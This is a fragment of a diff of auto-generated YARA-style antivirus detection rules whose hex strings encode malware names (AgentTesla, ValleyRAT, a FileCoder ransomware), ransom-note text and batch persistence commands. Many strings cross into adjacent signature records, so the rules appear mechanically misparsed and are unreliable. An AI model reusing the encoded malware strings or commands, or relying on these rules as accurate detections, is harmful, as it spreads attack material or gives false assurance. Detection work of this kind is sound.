1)*49+(#a_00_2 & 1)*102) >=3 } -rule _InfrastructureShared_15608{ +rule _InfrastructureShared_16631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181568,7 +193702,7 @@ rule _InfrastructureShared_15608{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15609{ +rule _InfrastructureShared_16632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181579,7 +193713,7 @@ rule _InfrastructureShared_15609{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13312) >=3 } -rule _InfrastructureShared_15610{ +rule _InfrastructureShared_16633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181589,7 +193723,7 @@ rule _InfrastructureShared_15610{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15611{ +rule _InfrastructureShared_16634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181600,7 +193734,7 @@ rule _InfrastructureShared_15611{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*1299) >=3 } -rule _InfrastructureShared_15612{ +rule _InfrastructureShared_16635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -181614,7 +193748,7 @@ rule _InfrastructureShared_15612{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*12856+(#a_00_2 & 1)*52+(#a_5f_3 & 1)*28490+(#a_01_4 & 1)*29285) >=3 } -rule _InfrastructureShared_15613{ +rule _InfrastructureShared_16636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -181631,7 +193765,7 @@ rule _InfrastructureShared_15613{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=4 } -rule _InfrastructureShared_15614{ +rule _InfrastructureShared_16637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -181644,20 +193778,34 @@ rule _InfrastructureShared_15614{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_72_3 & 1)*28531+(#a_2f_4 & 1)*18771) >=5 } -rule _InfrastructureShared_15615{ +rule _InfrastructureShared_16638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 49 48 21 4d 54 42 00 01 00 29 03 11 06 11 1f 11 05 11 1f 9a 1f 10 28 90 01 01 00 00 0a 86 6f 90 01 01 00 00 0a 00 11 1f 17 d6 13 1f 11 1f 11 1e 31 dd 90 00 01 00 10 81 01 43 } //18467 $a_61_1 = {5f 43 6f 6e 76 65 72 74 65 72 01 00 22 81 01 46 69 6e 61 6c 5f 50 72 6f 6a 65 63 74 5f 50 65 6d 44 65 73 6b 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 01 00 27 81 01 46 69 6e 61 6c 5f 50 72 6f 6a 65 63 74 5f 50 65 6d 44 65 73 6b 2e 4d 61 69 6e 41 70 70 2e 72 65 73 6f 75 72 63 65 73 01 00 29 81 01 46 69 6e 61 6c 5f 50 72 6f 6a 65 63 74 5f 50 65 6d } //25953 - $a_6b_2 = {52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 f1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 54 41 32 32 21 4d 54 42 00 01 00 2d 81 01 75 00 6e 00 69 00 66 00 75 00 5f 00 54 00 65 00 00 0b 78 00 74 00 42 00 6f 00 78 00 00 05 49 00 6e 00 00 05 76 00 } //25924 - $a_01_4 = {00 39 81 01 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 00 07 53 00 74 00 72 00 00 09 69 00 6e 00 67 00 31 00 00 13 86 06 20 00 86 06 20 00 86 06 20 00 86 06 20 00 86 06 01 01 00 15 81 01 4c 00 65 00 6e 00 67 00 74 00 68 00 00 09 4c 00 6f 00 61 00 64 01 00 0e 81 01 4e 65 77 4c 61 74 65 42 69 } //107 + $a_6b_2 = {52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 f1 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 41 59 53 21 4d 54 42 00 02 00 11 01 56 65 6e 63 52 54 20 52 61 6e 73 6f 6d 77 61 72 65 01 00 0a 01 56 65 6e 63 52 54 2e 70 64 62 01 00 3b 01 66 69 6c 65 73 20 61 72 65 } //25924 + $a_6c_3 = {65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 61 20 6d 69 6c 69 74 61 72 79 20 67 72 61 64 65 20 6f 66 20 65 6e 63 72 79 70 74 69 6f 6e 01 00 29 01 4e 6f 20 6f 6e 65 20 63 61 6e 20 64 65 63 72 79 70 74 20 79 6f 75 72 20 66 69 6c 65 73 2c 20 65 78 63 65 70 74 20 75 73 2e 01 00 32 00 48 00 4f 00 57 00 5f 00 54 00 4f 00 5f 00 } //24864 + $a_00_4 = {43 00 52 00 59 00 50 00 54 00 5f 00 59 00 4f 00 55 00 52 00 5f 00 46 00 49 00 4c 00 45 00 53 00 00 00 78 f1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 } //68 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25953+(#a_6b_2 & 1)*25924+(#a_01_4 & 1)*107) >=5 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25953+(#a_6b_2 & 1)*25924+(#a_6c_3 & 1)*24864+(#a_00_4 & 1)*68) >=5 } -rule _InfrastructureShared_15616{ +rule _InfrastructureShared_16639{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 41 59 53 21 4d 54 42 00 02 00 11 01 56 65 6e 63 52 54 20 52 61 6e 73 6f 6d 77 61 72 65 01 00 0a 01 56 65 6e 63 52 54 2e 70 64 62 01 00 3b 01 66 69 6c 65 73 20 61 } //16675 + $a_61_1 = {6c 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 61 20 6d 69 6c 69 74 61 72 79 20 67 72 61 64 } //25970 l encrypted with a military grad + $a_66_2 = {65 6e 63 72 79 70 74 69 6f 6e 01 00 29 01 4e 6f 20 6f 6e 65 20 63 61 6e 20 64 65 63 72 79 70 74 20 79 6f 75 72 20 66 69 6c 65 73 2c 20 65 78 63 65 70 74 20 75 73 2e 01 00 32 00 48 00 4f 00 57 00 5f 00 54 00 4f 00 5f 00 44 00 45 00 43 00 52 00 59 00 50 00 54 00 5f 00 59 00 4f 00 55 00 52 00 5f 00 46 00 49 00 4c 00 45 00 53 00 00 00 } //8293 + $a_00_4 = {06 00 21 23 48 53 } //6 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25970+(#a_66_2 & 1)*8293+(#a_00_4 & 1)*6) >=6 + +} +rule _InfrastructureShared_16640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -181672,7 +193820,7 @@ rule _InfrastructureShared_15616{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25856+(#a_00_2 & 1)*385+(#a_4c_3 & 1)*0+(#a_77_4 & 1)*19969+(#a_64_5 & 1)*26946) >=6 } -rule _InfrastructureShared_15617{ +rule _InfrastructureShared_16641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -181687,22 +193835,37 @@ rule _InfrastructureShared_15617{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25646+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_f1_4 & 1)*0+(#a_72_5 & 1)*301) >=6 } -rule _InfrastructureShared_15618{ +rule _InfrastructureShared_16642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 31 36 30 34 32 34 21 4d 54 42 00 01 00 40 01 41 42 41 45 34 46 37 33 35 42 37 30 32 41 32 36 33 37 46 44 45 31 34 37 41 42 38 34 33 46 42 31 39 33 31 45 38 42 32 30 33 39 } //18467 $a_33_1 = {38 43 36 38 39 41 36 45 37 37 41 32 41 31 32 45 45 01 00 2d 01 47 72 61 70 68 43 6f 6d 70 6f 73 69 74 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 } //17460 - $a_6f_2 = {6b 43 6f 70 79 01 00 18 01 43 61 64 61 73 74 72 6f 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 05 01 46 6f 72 6d 31 00 00 78 f1 00 00 06 00 06 00 07 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 67 61 67 6f 72 } //16897 - $a_21_3 = {68 61 00 01 00 11 01 6d 61 69 6e 2e 65 6e 63 6f 64 65 42 61 73 65 36 34 01 00 11 01 6d 61 69 6e 2e 42 61 73 65 36 34 44 65 63 6f 64 65 01 00 36 01 67 69 74 68 75 62 2e 63 6f 6d 2f 74 33 72 6d 31 } //11874 - $a_2f_4 = {65 67 61 63 6d 64 2f 63 6c 69 65 6e 74 2e 28 2a 4d 65 67 61 43 6c 69 65 6e 74 29 2e 4c 6f 67 69 6e 01 00 11 01 6d 61 69 6e 2e 58 6f 72 45 6e 63 6f 64 65 53 74 72 01 00 10 01 6d 61 69 6e 2e 65 6e 63 72 79 70 74 46 69 6c 65 01 00 10 01 6d 61 69 6e 2e 64 65 63 72 79 70 74 46 69 6c 65 01 00 1d 01 63 72 79 70 74 6f 2f 63 69 70 } //13422 - $a_2e_5 = {65 77 43 46 42 45 6e 63 72 79 70 74 65 72 00 00 78 f1 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 44 44 53 21 4d 54 42 00 01 00 2c 81 01 70 65 4e 4a 4e 71 75 78 4d 6a 49 6a 4b 45 50 54 62 32 77 6d 78 52 5a 32 30 42 4a 69 54 54 6f 6e 50 4e 4d 74 2f 75 30 31 6f 35 73 3d 01 } //25960 + $a_6f_2 = {6b 43 6f 70 79 01 00 18 01 43 61 64 61 73 74 72 6f 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 05 01 46 6f 72 6d 31 00 00 78 f1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e } //16897 + $a_21_3 = {54 42 00 01 00 2f 81 01 72 61 74 69 6f 63 69 6e 61 74 6f 72 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 61 64 73 6b 69 6c 6c 65 6c 73 65 5c 64 72 6f 75 67 } //12372 + $a_65_4 = {74 01 00 27 81 01 73 65 6c 76 6f 70 6f 66 72 65 6c 73 65 72 6e 65 73 5c 46 6c 61 70 70 65 74 32 30 35 5c 53 6b 72 79 64 65 72 69 65 74 01 00 14 81 01 61 66 73 6b 65 64 73 68 69 6c 73 65 6e 65 72 73 2e 6a 70 67 01 00 1c 81 01 65 6c 6b 72 61 66 74 65 6e 73 20 6b 65 65 70 6e 65 74 20 69 6e 64 69 63 61 62 6c 65 01 00 } //29800 + $a_73_5 = {67 } //-32499 g condition: - ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*17460+(#a_6f_2 & 1)*16897+(#a_21_3 & 1)*11874+(#a_2f_4 & 1)*13422+(#a_2e_5 & 1)*25960) >=6 + ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*17460+(#a_6f_2 & 1)*16897+(#a_21_3 & 1)*12372+(#a_65_4 & 1)*29800+(#a_73_5 & 1)*-32499) >=6 } -rule _InfrastructureShared_15619{ +rule _InfrastructureShared_16643{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 54 30 31 21 4d 54 42 00 01 00 2f 81 01 72 61 74 69 6f 63 69 6e 61 74 6f 72 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 61 64 73 6b 69 6c 6c 65 6c 73 65 5c 64 72 6f 75 67 68 74 69 65 } //18467 + $a_00_1 = {27 } //29811 ' + $a_65_2 = {76 6f 70 6f 66 72 65 6c 73 65 72 6e 65 73 5c 46 6c 61 70 70 65 74 32 30 35 5c 53 6b 72 79 64 65 72 69 65 74 01 00 14 81 01 61 66 73 6b 65 64 73 68 69 6c 73 65 6e 65 72 73 2e 6a 70 67 01 00 1c 81 01 65 6c 6b 72 61 66 74 65 6e 73 20 6b 65 65 70 6e 65 74 20 69 6e 64 69 63 61 62 6c 65 01 00 0d 81 01 73 61 67 6b 79 6e 64 69 67 73 74 65 73 01 00 11 } //385 + $a_6c_3 = {65 72 66 6f 72 72 65 73 74 65 2e 65 78 65 00 00 78 f1 00 00 06 00 06 00 07 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 67 61 67 6f 72 62 2e 41 21 64 68 61 00 01 00 11 01 6d 61 69 6e 2e 65 6e 63 6f 64 65 42 61 73 65 36 34 01 00 11 01 6d 61 69 6e 2e 42 61 } //385 + $a_34_4 = {65 63 6f 64 65 01 00 36 01 67 69 74 68 75 62 2e 63 6f 6d 2f 74 33 72 6d 31 6e 34 6c 2f 6d 65 67 61 63 6d 64 2f 63 6c 69 65 6e 74 2e 28 2a 4d 65 67 61 43 6c 69 65 } //25971 + $a_2e_5 = {6f 67 69 6e 01 00 11 01 6d 61 69 6e 2e 58 6f 72 45 6e 63 6f 64 65 53 74 72 01 00 10 01 6d 61 69 6e 2e 65 6e 63 72 79 70 74 } //29806 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29811+(#a_65_2 & 1)*385+(#a_6c_3 & 1)*385+(#a_34_4 & 1)*25971+(#a_2e_5 & 1)*29806) >=6 + +} +rule _InfrastructureShared_16644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -181713,28 +193876,43 @@ rule _InfrastructureShared_15619{ $a_70_3 = {46 69 6c 65 01 00 1d 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 2e 4e 65 77 43 46 42 45 6e 63 72 79 70 74 65 72 00 00 78 f1 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 44 44 53 21 4d 54 42 00 01 00 2c 81 01 70 65 4e 4a 4e 71 75 78 4d 6a 49 6a 4b 45 50 54 62 32 77 6d 78 52 5a 32 30 42 4a 69 54 } //29283 $a_50_4 = {4d 74 2f 75 30 31 6f 35 73 3d 01 00 18 81 01 65 59 4f 66 52 67 78 58 37 67 45 43 77 6e 37 2b 77 77 36 35 32 67 3d 3d 01 00 18 81 01 55 45 55 44 35 68 62 48 49 2b 77 4e 33 67 2f 75 39 64 67 34 53 77 3d 3d 01 00 18 81 01 64 4f 2f 6c 6d 4e 54 33 52 49 35 32 50 31 61 66 4c 51 70 6c 46 77 3d 3d 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 } //28500 $a_47_5 = {74 } //-32504 t - $a_65_6 = {01 00 1e 81 01 57 68 69 74 65 42 61 6c 61 6e 63 65 2e 46 6f 72 6d 31 2b 3c 4c 6f 61 64 3e 64 5f 5f 31 35 00 00 78 f1 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 31 30 2d 30 38 79 34 7a 67 70 21 45 4d 4c 00 01 00 28 00 4c 00 4c 00 4c 00 4d 00 4c 00 4c 00 65 00 4c 00 74 00 4c 00 68 00 4c 00 6f 00 4c 00 64 00 } //26960 + $a_65_6 = {01 00 1e 81 01 57 68 69 74 65 42 61 6c 61 6e 63 65 2e 46 6f 72 6d 31 2b 3c 4c 6f 61 64 3e 64 5f 5f 31 35 00 00 78 f1 00 00 08 00 08 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 41 54 2e 50 41 48 4c 21 4d 54 42 00 02 00 0b 01 6d 6f 6e 69 74 6f 72 2e 62 61 74 02 00 4b 01 74 61 73 6b 6c 69 73 74 20 2f 46 49 20 22 49 4d } //26960 condition: ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*13824+(#a_2e_2 & 1)*30056+(#a_70_3 & 1)*29283+(#a_50_4 & 1)*28500+(#a_47_5 & 1)*-32504+(#a_65_6 & 1)*26960) >=6 } -rule _InfrastructureShared_15620{ +rule _InfrastructureShared_16645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 44 44 53 21 4d 54 42 00 01 00 2c 81 01 70 65 4e 4a 4e 71 75 78 4d 6a 49 6a 4b 45 50 54 62 32 77 6d 78 52 5a 32 30 42 4a 69 54 54 6f 6e 50 4e 4d 74 2f 75 30 } //16675 $a_73_1 = {01 00 18 81 01 65 59 4f 66 52 67 78 58 37 67 45 43 77 6e 37 2b 77 77 36 35 32 67 3d 3d 01 00 18 81 01 55 45 55 44 35 68 62 48 49 2b 77 4e 33 67 2f 75 39 64 67 } //28465 - $a_3d_2 = {01 00 18 81 01 64 4f 2f 6c 6d 4e 54 33 52 49 35 32 50 31 61 66 4c 51 70 6c 46 77 3d 3d 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 1e 81 01 57 68 69 74 65 42 61 6c 61 6e 63 65 2e 46 6f 72 6d 31 2b 3c 4c 6f 61 64 3e 64 5f 5f 31 35 00 00 78 f1 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //21300 - $a_2e_3 = {31 30 2d 30 38 79 34 7a 67 70 21 45 4d 4c 00 01 00 28 00 4c 00 4c 00 4c 00 4d 00 4c 00 4c 00 65 00 4c 00 74 00 4c 00 68 00 4c 00 6f 00 4c 00 64 00 4c 00 30 00 4c 00 4c 00 4c 00 01 00 18 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 4d 00 65 00 6d 00 62 00 65 00 72 00 01 00 32 00 47 00 65 00 74 00 } //27763 - $a_00_4 = {6e 00 69 00 66 00 65 00 73 00 74 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 53 00 74 00 72 00 65 00 61 00 6d 00 01 00 0b 01 49 45 6e 75 6d 65 72 61 74 6f 72 01 00 09 01 54 6f 42 6f 6f 6c 65 61 6e 01 00 06 01 64 62 43 6f 6e 6e 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 } //77 - $a_54_5 = {53 } //2048 S - $a_6e_6 = {00 00 78 f1 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 34 39 21 4d 54 42 00 01 00 22 01 48 00 53 00 34 00 47 00 38 00 00 4b 73 00 6b 00 34 00 31 00 55 00 61 00 32 00 41 00 46 00 75 00 35 00 01 00 25 81 01 73 6b 34 31 55 61 32 41 } //29300 + $a_3d_2 = {01 00 18 81 01 64 4f 2f 6c 6d 4e 54 33 52 49 35 32 50 31 61 66 4c 51 70 6c 46 77 3d 3d 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 1e 81 01 57 68 69 74 65 42 61 6c 61 6e 63 65 2e 46 6f 72 6d 31 2b 3c 4c 6f 61 64 3e 64 5f 5f 31 35 00 00 78 f1 00 00 08 00 08 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //21300 + $a_6c_3 = {79 52 41 54 2e 50 41 48 4c 21 4d 54 42 00 02 00 0b 01 6d 6f 6e 69 74 6f 72 2e 62 61 74 02 00 4b 01 74 61 73 6b 6c 69 73 74 20 2f 46 49 20 22 49 4d 41 47 45 4e 41 4d 45 20 65 71 20 25 50 72 6f 63 65 73 73 4e 61 6d 65 25 22 20 7c 20 66 69 6e 64 73 74 72 20 2f 49 20 22 25 50 72 6f 63 65 73 73 4e 61 6d 65 25 22 20 3e 6e 75 6c } //24918 + $a_01_4 = {63 6d 64 2e 65 78 65 20 2f 42 20 2f 63 20 22 25 73 22 } //1 cmd.exe /B /c "%s" + $a_01_5 = {6d 6f 6e 69 74 6f 72 2e 70 69 64 } //1 monitor.pid + $a_01_6 = {63 6f 70 79 20 2f 59 20 22 25 42 61 63 6b 75 70 50 72 6f 63 65 73 73 50 61 74 68 25 22 20 22 25 50 72 6f 63 65 73 73 50 61 74 68 25 22 } //1 copy /Y "%BackupProcessPath%" "%ProcessPath%" condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28465+(#a_3d_2 & 1)*21300+(#a_2e_3 & 1)*27763+(#a_00_4 & 1)*77+(#a_54_5 & 1)*2048+(#a_6e_6 & 1)*29300) >=7 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28465+(#a_3d_2 & 1)*21300+(#a_6c_3 & 1)*24918+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_15621{ +rule _InfrastructureShared_16646{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 41 54 2e 50 41 48 4c 21 4d 54 42 00 02 00 0b 01 6d 6f 6e 69 74 6f 72 2e 62 61 74 02 00 4b 01 74 61 73 6b 6c 69 73 74 20 2f 46 49 20 22 49 4d 41 47 } //21539 + $a_4d_1 = {20 65 71 20 25 50 72 6f 63 65 73 73 4e 61 6d 65 25 22 20 7c 20 66 69 6e 64 73 74 72 20 2f 49 20 22 25 50 72 6f 63 65 73 73 4e 61 6d 65 25 22 20 3e 6e 75 6c 01 00 12 01 63 6d 64 2e 65 78 65 20 2f } //20037 + $a_63_2 = {22 25 73 22 01 00 0b 01 6d 6f 6e 69 74 6f 72 2e 70 69 64 01 00 2d 01 63 6f 70 79 20 2f 59 20 22 25 42 61 63 6b 75 70 50 72 6f 63 65 73 73 50 } //8258 + $a_25_3 = {20 22 25 50 72 6f 63 65 73 73 50 61 74 68 25 22 01 00 0b 01 49 4e 56 41 4c 49 44 2e 61 70 73 00 00 78 f1 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 31 30 2d 30 38 79 34 7a 67 70 21 45 4d 4c 00 01 00 28 00 4c 00 4c 00 4c 00 4d 00 4c 00 4c 00 65 00 4c 00 74 00 } //29793 + $a_00_4 = {4c 00 6f 00 4c 00 64 00 4c 00 30 00 4c 00 4c 00 4c 00 01 00 18 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 4d 00 65 00 6d 00 62 00 65 00 72 00 01 00 32 00 47 00 65 00 74 00 4d 00 61 00 6e 00 69 00 66 00 65 00 73 00 74 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 53 00 74 00 72 00 65 00 61 00 6d 00 01 00 0b 01 } //76 + $a_75_5 = {65 72 61 74 6f 72 01 00 09 01 54 6f 42 6f 6f 6c 65 61 6e 01 00 06 01 64 62 43 6f 6e 6e 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 08 01 54 6f 53 74 72 69 6e 67 00 00 78 f1 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 34 39 21 4d } //17737 + condition: + ((#a_4c_0 & 1)*21539+(#a_4d_1 & 1)*20037+(#a_63_2 & 1)*8258+(#a_25_3 & 1)*29793+(#a_00_4 & 1)*76+(#a_75_5 & 1)*17737) >=8 + +} +rule _InfrastructureShared_16647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -181751,7 +193929,7 @@ rule _InfrastructureShared_15621{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_42_2 & 1)*29793+(#a_00_3 & 1)*65+(#a_65_4 & 1)*385+(#a_74_5 & 1)*25970+(#a_63_6 & 1)*30273+(#a_6e_7 & 1)*15677) >=8 } -rule _InfrastructureShared_15622{ +rule _InfrastructureShared_16648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -181766,7 +193944,7 @@ rule _InfrastructureShared_15622{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*24917+(#a_01_2 & 1)*2816+(#a_54_3 & 1)*8520+(#a_72_4 & 1)*17153+(#a_48_7 & 1)*8448) >=8 } -rule _InfrastructureShared_15623{ +rule _InfrastructureShared_16649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -181782,7 +193960,7 @@ rule _InfrastructureShared_15623{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29230+(#a_36_2 & 1)*9217+(#a_62_3 & 1)*26157+(#a_72_5 & 1)*385+(#a_00_6 & 1)*0+(#a_54_7 & 1)*18490) >=8 } -rule _InfrastructureShared_15624{ +rule _InfrastructureShared_16650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -181799,7 +193977,7 @@ rule _InfrastructureShared_15624{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*18542+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_f1_4 & 1)*0+(#a_01_5 & 1)*-29952+(#a_67_6 & 1)*12108+(#a_62_7 & 1)*13138) >=8 } -rule _InfrastructureShared_15625{ +rule _InfrastructureShared_16651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " @@ -181814,7 +193992,7 @@ rule _InfrastructureShared_15625{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*783+(#a_48_2 & 1)*257+(#a_62_3 & 1)*13138+(#a_67_4 & 1)*27749+(#a_61_5 & 1)*26992) >=9 } -rule _InfrastructureShared_15626{ +rule _InfrastructureShared_16652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -181832,7 +194010,7 @@ rule _InfrastructureShared_15626{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*-32461+(#a_38_2 & 1)*25198+(#a_74_3 & 1)*25970+(#a_00_4 & 1)*29795+(#a_6f_5 & 1)*385+(#a_6d_6 & 1)*17153+(#a_53_7 & 1)*8993+(#a_73_8 & 1)*28521) >=9 } -rule _InfrastructureShared_15627{ +rule _InfrastructureShared_16653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -181850,7 +194028,7 @@ rule _InfrastructureShared_15627{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21360+(#a_81_2 & 1)*1+(#a_f1_3 & 1)*0+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_15628{ +rule _InfrastructureShared_16654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -181868,7 +194046,7 @@ rule _InfrastructureShared_15628{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21360+(#a_81_2 & 1)*1+(#a_f1_3 & 